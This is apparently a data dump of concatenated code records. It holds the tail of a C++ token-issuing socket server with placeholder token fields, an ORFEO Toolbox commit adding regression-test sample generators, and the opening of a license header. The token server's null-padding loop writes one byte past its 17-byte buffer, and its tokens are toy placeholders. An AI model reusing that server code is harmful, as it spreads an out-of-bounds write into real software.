dev.SetString(res_add, strlen(res_add), d.GetAllocator());\n\n\t d.AddMember(\"id\", \"fake identifier\", d.GetAllocator());\n\t d.AddMember(\"ii\", ii, d.GetAllocator());\n\t d.AddMember(\"is\", \"fake issuer\", d.GetAllocator());\n\t d.AddMember(\"su\", suv, d.GetAllocator());\n\t d.AddMember(\"de\", dev, d.GetAllocator());\n\t d.AddMember(\"ar\", \"fake access rights\", d.GetAllocator());\n\t d.AddMember(\"nb\", nb, d.GetAllocator());\n\t d.AddMember(\"na\", na, d.GetAllocator());\n\n\t sign(&d);\n\n\t \/\/ Step 3: Mode choice dependent\n\t \/\/ (Mode 1, return token to client)\n\t if (choice == 1) {\n\t\t StringBuffer buffer;\n\t\t Writer<StringBuffer> writer(buffer);\n\t d.Accept(writer);\n\n cout << \"buffer data : \" << buffer.GetString();\n\t\t cout << \"\\n buffer len:\" << buffer.GetSize();\n\n if(write(fd, buffer.GetString(), buffer.GetSize()+1) < 0) {\n printf(\"Failed to write to socket\\n\");\n \t}\n return 1;\t \n\t }\n \n \n\t \/\/ (Mode 2, return token to resource, token ID to client)\n\n\t else if(choice == 2 ){\n \n cout << \"Mode 2\\n\";\n\n int soc2;\n uint16_t port = strtol(port_mode, NULL, 10);\n char null_string[17];\n\n soc2 = socket(AF_INET, SOCK_STREAM, 0);\n if(soc2 < 0) {\n\t printf(\"failed to create socket: %s\\n\", strerror(errno));\n }\n\n struct sockaddr_in connectAddress;\n memset(&connectAddress, 0, sizeof(connectAddress));\n connectAddress.sin_family = AF_INET;\n connectAddress.sin_addr.s_addr = MACHINE_IP;\n connectAddress.sin_port = htons(port);\n\n if(connect(soc2, (struct sockaddr *) &connectAddress, sizeof(connectAddress)) < 0) {\n\t\t printf(\"send token to resource: failed to connect to resource: %s\\n\", strerror(errno));\n }\n\n\n\t\t \/\/ insert code for null string here\n \tint i;\n \n\t\t \/\/ add 17 NULLS before sending the json to resource -- one socket\n for (i = 0; i <=17; i++){\n null_string[i] = (char) 0;\n } \n\n if(write(soc2, null_string, 17) < 0) {\n printf(\"Failed to write null string to resource socket\\n\");\n }\n\n \/\/send token to resource here\n StringBuffer buffer;\n Writer<StringBuffer> writer(buffer);\n d.Accept(writer);\n\n cout << \"buffer data : \"<< buffer.GetString() ;\n cout << \"\\n buffer len:\" << buffer.GetSize() << \"\\n\";\n\n if(write(soc2, buffer.GetString(), buffer.GetSize()+1) < 0) {\n printf(\"Failed to write to token to resource socket\\n\"); \n }\n\n \/\/send token ID to client\n\n int tokenID = d[\"ii\"].GetInt();\n std::string s_ID = std::to_string(tokenID);\n char const *tokenID_str = s_ID.c_str();\n\n cout << \"string token ID: \" << tokenID_str << \"\\n\";\n\n if(write(fd, tokenID_str, strlen(tokenID_str)+1) < 0) {\n printf(\"Failed to write to socket\\n\");\n }\n\n return 1;\n\t }\/\/ end of mode 2\n}\n\n\nint bootstrap_network(const char* port_sub){\n\n\tint soc;\n\tuint16_t port = strtol(port_sub, NULL, 10); \/\/ from arguments\n\n\tsoc = socket(AF_INET, SOCK_STREAM, 0);\n\tif (soc == -1)\t{\n\t\tprintf(\"Failed to open socket\\n\");\n\t\treturn 1;\n \t}\n\n \tstruct sockaddr_in connectAddress;\n\tmemset(&connectAddress, 0, sizeof(connectAddress));\n\tconnectAddress.sin_family = AF_INET;\n\tconnectAddress.sin_addr.s_addr = MACHINE_IP;\n\tconnectAddress.sin_port = htons(port);\n\n\tif(bind(soc, (struct sockaddr *) &connectAddress, sizeof(connectAddress)) == -1) {\n\t\tprintf(\"bootstrap: Failed to bind\\n\");\n\t\texit(1);\n \t}\n\n\tif(listen(soc, 5) == -1) {\n\t\tprintf( \"bootstrap: Failed to listen\\n\");\n\t\texit(1);\n \t}\n\n\treturn soc;\n}\n\nint listen_block(int soc,int choice, const char* port_mode){\n\n\tint fd;\n\tsocklen_t peer_addr_size = sizeof(struct sockaddr_in);\n\tstruct sockaddr_in retAddress;\n int req1;\n\n\tprintf(\"DEBUG: entering network loop\\n\");\n\t\n\twhile(true) {\n\t\tprintf(\"DEBUG: network loop: accepting connection...\\n\");\n\t\tfd = accept(soc, (struct sockaddr *) &retAddress, &peer_addr_size);\n\t\tprintf(\"fd value: %d\\n\",fd);\n\t\tif( fd == -1) {\n\t\t\tprintf(\"listen: Failed to accept: %s\\n\", strerror(errno));\n\t\t\texit(1);\n \t\t}\n\t\t\n\t\tprintf( \"DEBUG: network loop: connection accepted, getting request from subject...\\n\");\n \n\t\treq1 = get_request(fd,choice,port_mode);\n\t\tclose(fd);\n\t}\n\n}\n \t\nint main(int argc, char *argv[]){\n\n\tif(argc <= 3){\n\t\tprintf(\"insufficient arguments\\n\");\n\t\tprintf(\"sample argument: .\/auth <mode> <port_client> <port_resource>\\n {Enter dummy value for port_resource in Mode 1}\");\n\t\treturn 1;\n \t}\n \n\tint fd1, soc1;\n \tsoc1 = bootstrap_network(argv[2]);\n\t\n\tconst char* port_client = argv[2];\n\tconst char* port_resource = argv[3];\n\n \tif(!strcmp(argv[1], \"1\"))\n\t\tlisten_block(soc1,1,port_resource);\n \n \telse if(!strcmp(argv[1], \"2\"))\n\t\tlisten_block(soc1,2,port_resource);\n \n\telse{\n\t\tprintf(\"Invalid mode: %s\", argv[1]);\n\t\texit(1);\n \t}\n\n\treturn 1;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n\n#include \"otbConfigure.h\"\n\n#include \"itkMersenneTwisterRandomVariateGenerator.h\"\n\n#ifdef OTB_USE_OPENCV\n#include \"otbNeuralNetworkMachineLearningModel.h\"\n#include \"otbSVMMachineLearningModel.h\"\n#include \"otbBoostMachineLearningModel.h\"\n#include \"otbDecisionTreeMachineLearningModel.h\"\n#include \"otbGradientBoostedTreeMachineLearningModel.h\"\n#include \"otbKNearestNeighborsMachineLearningModel.h\"\n#include \"otbRandomForestsMachineLearningModel.h\"\n#endif\n\n#ifdef OTB_USE_LIBSVM\n#include \"otbLibSVMMachineLearningModel.h\"\n#endif\n\ntypedef float PrecisionType;\ntypedef otb::MachineLearningModel<PrecisionType,PrecisionType> MachineLearningModelRegressionType;\ntypedef MachineLearningModelRegressionType::InputValueType InputValueRegressionType;\ntypedef MachineLearningModelRegressionType::InputSampleType InputSampleRegressionType;\ntypedef MachineLearningModelRegressionType::InputListSampleType InputListSampleRegressionType;\ntypedef MachineLearningModelRegressionType::TargetValueType TargetValueRegressionType;\ntypedef MachineLearningModelRegressionType::TargetSampleType TargetSampleRegressionType;\ntypedef MachineLearningModelRegressionType::TargetListSampleType TargetListSampleRegressionType;\ntypedef itk::Statistics::MersenneTwisterRandomVariateGenerator RandomGeneratorType;\n\nconst double epsilon = 0.1;\n\ntypedef struct RegressionTestParamStruct\n{\n double vMin;\n double vMax;\n size_t count;\n double eps;\n} RegressionTestParam;\n\ntemplate <typename TPrecision>\nstruct LinearFunctionSampleGenerator\n{\n typedef TPrecision PrecisionType;\n LinearFunctionSampleGenerator(TPrecision a, TPrecision b)\n : m_a(a), m_b(b), m_NbInputVars(1), m_NbOutputVars(1) {\n m_isl = InputListSampleRegressionType::New();\n m_tsl = TargetListSampleRegressionType::New();\n };\n void GenerateSamples(TPrecision sMin, TPrecision sMax, size_t nbSamples)\n {\n m_isl->Clear();\n m_tsl->Clear();\n m_isl->SetMeasurementVectorSize(m_NbInputVars);\n m_tsl->SetMeasurementVectorSize(m_NbOutputVars);\n\n RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::GetInstance();\n InputSampleRegressionType inputSample;\n inputSample.SetSize(m_NbInputVars);\n TargetSampleRegressionType outputSample;\n\n TPrecision sampleStep = (sMax-sMin)\/nbSamples;\n for(size_t i=0; i<nbSamples; ++i)\n {\n TPrecision x = randomGenerator->GetUniformVariate(0.0, 1.0) * static_cast<TPrecision>(nbSamples);\n TPrecision inputValue = sMin+ x*sampleStep;\n inputSample[0] = inputValue;\n outputSample[0] = m_a*inputValue+m_b;\n m_isl->PushBack(inputSample);\n m_tsl->PushBack(outputSample);\n }\n }\n\n TPrecision m_a;\n TPrecision m_b;\n const size_t m_NbInputVars;\n const size_t m_NbOutputVars;\n InputListSampleRegressionType::Pointer m_isl;\n TargetListSampleRegressionType::Pointer m_tsl;\n};\n\ntemplate <typename SampleGeneratorType, typename RegressionType>\nint testRegression(SampleGeneratorType& sg, RegressionType& rgrsn, RegressionTestParam param)\n{\n std::cout << \"Generating training samples\" << std::endl;\n sg.GenerateSamples(param.vMin, param.vMax, param.count);\n\n rgrsn->SetInputListSample(sg.m_isl);\n rgrsn->SetTargetListSample(sg.m_tsl);\n std::cout << \"Training\" << std::endl;\n rgrsn->Train();\n\n std::cout << \"Generate validation samples\"<<std::endl;\n sg.GenerateSamples(param.vMin, param.vMax, param.count);\n\n std::cout << \"Validation\" << std::endl;\n \/\/Check the prediction accuracy\n typename InputListSampleRegressionType::Iterator sampleIt = sg.m_isl->Begin();\n typename TargetListSampleRegressionType::Iterator resultIt = sg.m_tsl->Begin();\n typename InputListSampleRegressionType::Iterator sampleLast = sg.m_isl->End();\n typename TargetListSampleRegressionType::Iterator resultLast = sg.m_tsl->End();\n typename SampleGeneratorType::PrecisionType rmse = 0.0;\n while(sampleIt != sampleLast && resultIt != resultLast)\n {\n \/\/typename SampleGeneratorType::PrecisionType invalue = sampleIt.GetMeasurementVector()[0];\n typename SampleGeneratorType::PrecisionType prediction = rgrsn->Predict(sampleIt.GetMeasurementVector())[0];\n typename SampleGeneratorType::PrecisionType expected = resultIt.GetMeasurementVector()[0];\n rmse += pow(prediction - expected, 2.0);\n ++sampleIt;\n ++resultIt;\n } \n\n rmse = sqrt( rmse \/ static_cast<double>(param.count) );\n std::cout << \"RMSE = \"<< rmse << std::endl;\n if(rmse > param.eps)\n return EXIT_FAILURE;\n\n return EXIT_SUCCESS;\n}\n\n#ifdef OTB_USE_LIBSVM\nint otbLibSVMRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::LibSVMMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n libsvmType;\n libsvmType::Pointer regression = libsvmType::New();\n regression->SetRegressionMode(true);\n regression->SetSVMType(EPSILON_SVR);\n regression->SetKernelType(RBF);\n regression->SetEpsilon(1e-5);\n regression->SetParameterOptimization(true);\n\n return testRegression(lfsg,regression,param);\n}\n#endif\n\n#ifdef OTB_USE_OPENCV\nint otbNeuralNetworkRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 20000;\n param.eps = 0.1;\n\n typedef otb::NeuralNetworkMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n NeuralNetworkType;\n NeuralNetworkType::Pointer regression = NeuralNetworkType::New();\n\n regression->SetRegressionMode(1);\n regression->SetTrainMethod(CvANN_MLP_TrainParams::BACKPROP);\n std::vector<unsigned int> layerSizes;\n layerSizes.push_back(1);\n layerSizes.push_back(5);\n layerSizes.push_back(1);\n regression->SetLayerSizes(layerSizes);\n regression->SetActivateFunction(CvANN_MLP::SIGMOID_SYM);\n regression->SetAlpha(1.0);\n regression->SetBeta(1.0);\n regression->SetBackPropDWScale(0.1);\n regression->SetBackPropMomentScale(0.1);\n regression->SetRegPropDW0(0.1);\n regression->SetRegPropDWMin(1e-7);\n regression->SetTermCriteriaType(CV_TERMCRIT_EPS);\n regression->SetEpsilon(1e-5);\n regression->SetMaxIter(1e4);\n\n return testRegression(lfsg,regression,param);\n}\n\n \nint otbSVMRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::SVMMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n SVMType;\n SVMType::Pointer regression = SVMType::New();\n\n regression->SetRegressionMode(1);\n regression->SetNu(0.5);\n regression->SetKernelType(CvSVM::RBF);\n regression->SetTermCriteriaType(CV_TERMCRIT_ITER+CV_TERMCRIT_EPS);\n regression->SetMaxIter(100000);\n regression->SetEpsilon(1e-5);\n regression->SetParameterOptimization(true);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbDecisionTreeRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::DecisionTreeMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n DTreeType;\n DTreeType::Pointer regression = DTreeType::New();\n regression->SetRegressionMode(true);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbGradientBoostedTreeRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::GradientBoostedTreeMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n GBTreeType;\n GBTreeType::Pointer regression = GBTreeType::New();\n regression->SetRegressionMode(true);\n regression->SetLossFunctionType(CvGBTrees::SQUARED_LOSS);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbKNearestNeighborsRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::KNearestNeighborsMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n KNNType;\n KNNType::Pointer regression = KNNType::New();\n regression->SetRegressionMode(true);\n regression->SetK(1);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbRandomForestsRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::RandomForestsMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n RFType;\n RFType::Pointer regression = RFType::New();\n regression->SetRegressionMode(true);\n\n return testRegression(lfsg,regression,param);\n}\n#endif\n<commit_msg>ENH: added sample generators for bilinear et polynomial cases<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n\n#include \"otbConfigure.h\"\n\n#include \"itkMersenneTwisterRandomVariateGenerator.h\"\n\n#ifdef OTB_USE_OPENCV\n#include \"otbNeuralNetworkMachineLearningModel.h\"\n#include \"otbSVMMachineLearningModel.h\"\n#include \"otbBoostMachineLearningModel.h\"\n#include \"otbDecisionTreeMachineLearningModel.h\"\n#include \"otbGradientBoostedTreeMachineLearningModel.h\"\n#include \"otbKNearestNeighborsMachineLearningModel.h\"\n#include \"otbRandomForestsMachineLearningModel.h\"\n#endif\n\n#ifdef OTB_USE_LIBSVM\n#include \"otbLibSVMMachineLearningModel.h\"\n#endif\n\ntypedef float PrecisionType;\ntypedef otb::MachineLearningModel<PrecisionType,PrecisionType> MachineLearningModelRegressionType;\ntypedef MachineLearningModelRegressionType::InputValueType InputValueRegressionType;\ntypedef MachineLearningModelRegressionType::InputSampleType InputSampleRegressionType;\ntypedef MachineLearningModelRegressionType::InputListSampleType InputListSampleRegressionType;\ntypedef MachineLearningModelRegressionType::TargetValueType TargetValueRegressionType;\ntypedef MachineLearningModelRegressionType::TargetSampleType TargetSampleRegressionType;\ntypedef MachineLearningModelRegressionType::TargetListSampleType TargetListSampleRegressionType;\ntypedef itk::Statistics::MersenneTwisterRandomVariateGenerator RandomGeneratorType;\n\nconst double epsilon = 0.1;\n\ntypedef struct RegressionTestParamStruct\n{\n double vMin;\n double vMax;\n size_t count;\n double eps;\n} RegressionTestParam;\n\ntemplate <typename TPrecision>\nstruct LinearFunctionSampleGenerator\n{\n typedef TPrecision PrecisionType;\n LinearFunctionSampleGenerator(TPrecision a, TPrecision b)\n : m_a(a), m_b(b), m_NbInputVars(1), m_NbOutputVars(1) {\n m_isl = InputListSampleRegressionType::New();\n m_tsl = TargetListSampleRegressionType::New();\n };\n void GenerateSamples(TPrecision sMin, TPrecision sMax, size_t nbSamples)\n {\n m_isl->Clear();\n m_tsl->Clear();\n m_isl->SetMeasurementVectorSize(m_NbInputVars);\n m_tsl->SetMeasurementVectorSize(m_NbOutputVars);\n\n RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::GetInstance();\n InputSampleRegressionType inputSample;\n inputSample.SetSize(m_NbInputVars);\n TargetSampleRegressionType outputSample;\n\n TPrecision sampleStep = (sMax-sMin)\/nbSamples;\n for(size_t i=0; i<nbSamples; ++i)\n {\n TPrecision x = randomGenerator->GetUniformVariate(0.0, 1.0) * static_cast<TPrecision>(nbSamples);\n TPrecision inputValue = sMin+ x*sampleStep;\n inputSample[0] = inputValue;\n outputSample[0] = m_a*inputValue+m_b;\n m_isl->PushBack(inputSample);\n m_tsl->PushBack(outputSample);\n }\n }\n\n TPrecision m_a;\n TPrecision m_b;\n const size_t m_NbInputVars;\n const size_t m_NbOutputVars;\n InputListSampleRegressionType::Pointer m_isl;\n TargetListSampleRegressionType::Pointer m_tsl;\n};\n\ntemplate <typename TPrecision>\nstruct BilinearFunctionSampleGenerator\n{\n typedef TPrecision PrecisionType;\n BilinearFunctionSampleGenerator(TPrecision a, TPrecision b, TPrecision c)\n : m_a(a), m_b(b), m_c(c), m_NbInputVars(2), m_NbOutputVars(1) {\n m_isl = InputListSampleRegressionType::New();\n m_tsl = TargetListSampleRegressionType::New();\n };\n void GenerateSamples(TPrecision sMin, TPrecision sMax, size_t nbSamples)\n {\n m_isl->Clear();\n m_tsl->Clear();\n m_isl->SetMeasurementVectorSize(m_NbInputVars);\n m_tsl->SetMeasurementVectorSize(m_NbOutputVars);\n\n RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::GetInstance();\n InputSampleRegressionType inputSample;\n inputSample.SetSize(m_NbInputVars);\n TargetSampleRegressionType outputSample;\n\n TPrecision sampleStep = (sMax-sMin)\/nbSamples;\n for(size_t i=0; i<nbSamples; ++i)\n {\n TPrecision x = randomGenerator->GetUniformVariate(0.0, 1.0) * static_cast<TPrecision>(nbSamples);\n TPrecision inputValue1 = sMin+ x*sampleStep;\n x = randomGenerator->GetUniformVariate(0.0, 1.0) * static_cast<TPrecision>(nbSamples);\n TPrecision inputValue2 = sMin+ x*sampleStep;\n inputSample[0] = inputValue1;\n inputSample[1] = inputValue2;\n outputSample[0] = m_a*inputValue1+m_b*inputValue2+m_c;\n m_isl->PushBack(inputSample);\n m_tsl->PushBack(outputSample);\n }\n }\n\n TPrecision m_a;\n TPrecision m_b;\n TPrecision m_c;\n const size_t m_NbInputVars;\n const size_t m_NbOutputVars;\n InputListSampleRegressionType::Pointer m_isl;\n TargetListSampleRegressionType::Pointer m_tsl;\n};\n\ntemplate <typename TPrecision>\nstruct PolynomialFunctionSampleGenerator\n{\n typedef TPrecision PrecisionType;\n PolynomialFunctionSampleGenerator(std::vector<TPrecision> c)\n : m_c(c), m_NbInputVars(1), m_NbOutputVars(1) {\n m_isl = InputListSampleRegressionType::New();\n m_tsl = TargetListSampleRegressionType::New();\n };\n void GenerateSamples(TPrecision sMin, TPrecision sMax, size_t nbSamples)\n {\n m_isl->Clear();\n m_tsl->Clear();\n m_isl->SetMeasurementVectorSize(m_NbInputVars);\n m_tsl->SetMeasurementVectorSize(m_NbOutputVars);\n\n RandomGeneratorType::Pointer randomGenerator = RandomGeneratorType::GetInstance();\n InputSampleRegressionType inputSample;\n inputSample.SetSize(m_NbInputVars);\n TargetSampleRegressionType outputSample;\n\n TPrecision sampleStep = (sMax-sMin)\/nbSamples;\n for(size_t i=0; i<nbSamples; ++i)\n {\n TPrecision x = randomGenerator->GetUniformVariate(0.0, 1.0) * static_cast<TPrecision>(nbSamples);\n TPrecision inputValue = sMin+ x*sampleStep;\n inputSample[0] = inputValue;\n TPrecision y = 0.0;\n for (unsigned int j=0; j<m_c.size() ; ++j)\n {\n y += m_c[j] * pow(static_cast<double>(inputValue), static_cast<double>(j));\n }\n outputSample[0] = y;\n m_isl->PushBack(inputSample);\n m_tsl->PushBack(outputSample);\n }\n }\n\n std::vector<TPrecision> m_c;\n const size_t m_NbInputVars;\n const size_t m_NbOutputVars;\n InputListSampleRegressionType::Pointer m_isl;\n TargetListSampleRegressionType::Pointer m_tsl;\n};\n\ntemplate <typename SampleGeneratorType, typename RegressionType>\nint testRegression(SampleGeneratorType& sg, RegressionType& rgrsn, RegressionTestParam param)\n{\n std::cout << \"Generating training samples\" << std::endl;\n sg.GenerateSamples(param.vMin, param.vMax, param.count);\n\n rgrsn->SetInputListSample(sg.m_isl);\n rgrsn->SetTargetListSample(sg.m_tsl);\n std::cout << \"Training\" << std::endl;\n rgrsn->Train();\n\n std::cout << \"Generate validation samples\"<<std::endl;\n sg.GenerateSamples(param.vMin, param.vMax, param.count);\n\n std::cout << \"Validation\" << std::endl;\n \/\/Check the prediction accuracy\n typename InputListSampleRegressionType::Iterator sampleIt = sg.m_isl->Begin();\n typename TargetListSampleRegressionType::Iterator resultIt = sg.m_tsl->Begin();\n typename InputListSampleRegressionType::Iterator sampleLast = sg.m_isl->End();\n typename TargetListSampleRegressionType::Iterator resultLast = sg.m_tsl->End();\n typename SampleGeneratorType::PrecisionType rmse = 0.0;\n while(sampleIt != sampleLast && resultIt != resultLast)\n {\n \/\/typename SampleGeneratorType::PrecisionType invalue = sampleIt.GetMeasurementVector()[0];\n typename SampleGeneratorType::PrecisionType prediction = rgrsn->Predict(sampleIt.GetMeasurementVector())[0];\n typename SampleGeneratorType::PrecisionType expected = resultIt.GetMeasurementVector()[0];\n rmse += pow(prediction - expected, 2.0);\n ++sampleIt;\n ++resultIt;\n } \n\n rmse = sqrt( rmse \/ static_cast<double>(param.count) );\n std::cout << \"RMSE = \"<< rmse << std::endl;\n if(rmse > param.eps)\n return EXIT_FAILURE;\n\n return EXIT_SUCCESS;\n}\n\n#ifdef OTB_USE_LIBSVM\nint otbLibSVMRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::LibSVMMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n libsvmType;\n libsvmType::Pointer regression = libsvmType::New();\n regression->SetRegressionMode(true);\n regression->SetSVMType(EPSILON_SVR);\n regression->SetKernelType(RBF);\n regression->SetEpsilon(1e-5);\n regression->SetParameterOptimization(true);\n\n return testRegression(lfsg,regression,param);\n}\n#endif\n\n#ifdef OTB_USE_OPENCV\nint otbNeuralNetworkRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 20000;\n param.eps = 0.1;\n\n typedef otb::NeuralNetworkMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n NeuralNetworkType;\n NeuralNetworkType::Pointer regression = NeuralNetworkType::New();\n\n regression->SetRegressionMode(1);\n regression->SetTrainMethod(CvANN_MLP_TrainParams::BACKPROP);\n std::vector<unsigned int> layerSizes;\n layerSizes.push_back(1);\n layerSizes.push_back(5);\n layerSizes.push_back(1);\n regression->SetLayerSizes(layerSizes);\n regression->SetActivateFunction(CvANN_MLP::SIGMOID_SYM);\n regression->SetAlpha(1.0);\n regression->SetBeta(1.0);\n regression->SetBackPropDWScale(0.1);\n regression->SetBackPropMomentScale(0.1);\n regression->SetRegPropDW0(0.1);\n regression->SetRegPropDWMin(1e-7);\n regression->SetTermCriteriaType(CV_TERMCRIT_EPS);\n regression->SetEpsilon(1e-5);\n regression->SetMaxIter(1e4);\n\n return testRegression(lfsg,regression,param);\n}\n\n \nint otbSVMRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::SVMMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n SVMType;\n SVMType::Pointer regression = SVMType::New();\n\n regression->SetRegressionMode(1);\n regression->SetNu(0.5);\n regression->SetKernelType(CvSVM::RBF);\n regression->SetTermCriteriaType(CV_TERMCRIT_ITER+CV_TERMCRIT_EPS);\n regression->SetMaxIter(100000);\n regression->SetEpsilon(1e-5);\n regression->SetParameterOptimization(true);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbDecisionTreeRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::DecisionTreeMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n DTreeType;\n DTreeType::Pointer regression = DTreeType::New();\n regression->SetRegressionMode(true);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbGradientBoostedTreeRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::GradientBoostedTreeMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n GBTreeType;\n GBTreeType::Pointer regression = GBTreeType::New();\n regression->SetRegressionMode(true);\n regression->SetLossFunctionType(CvGBTrees::SQUARED_LOSS);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbKNearestNeighborsRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::KNearestNeighborsMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n KNNType;\n KNNType::Pointer regression = KNNType::New();\n regression->SetRegressionMode(true);\n regression->SetK(1);\n\n return testRegression(lfsg,regression,param);\n}\n\nint otbRandomForestsRegressionLinearMonovariate(int itkNotUsed(argc),\n char * itkNotUsed(argv) [])\n{\n LinearFunctionSampleGenerator<PrecisionType> lfsg(2.0, 1.0);\n\n RegressionTestParam param;\n param.vMin = -0.5;\n param.vMax = 0.5;\n param.count = 200;\n param.eps = 0.1;\n\n typedef otb::RandomForestsMachineLearningModel<InputValueRegressionType,\n TargetValueRegressionType>\n RFType;\n RFType::Pointer regression = RFType::New();\n regression->SetRegressionMode(true);\n\n return testRegression(lfsg,regression,param);\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2006, 2007 Apple Computer, Inc.\n * Copyright (c) 2006, 2007, 2008, 2009, 2012 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, 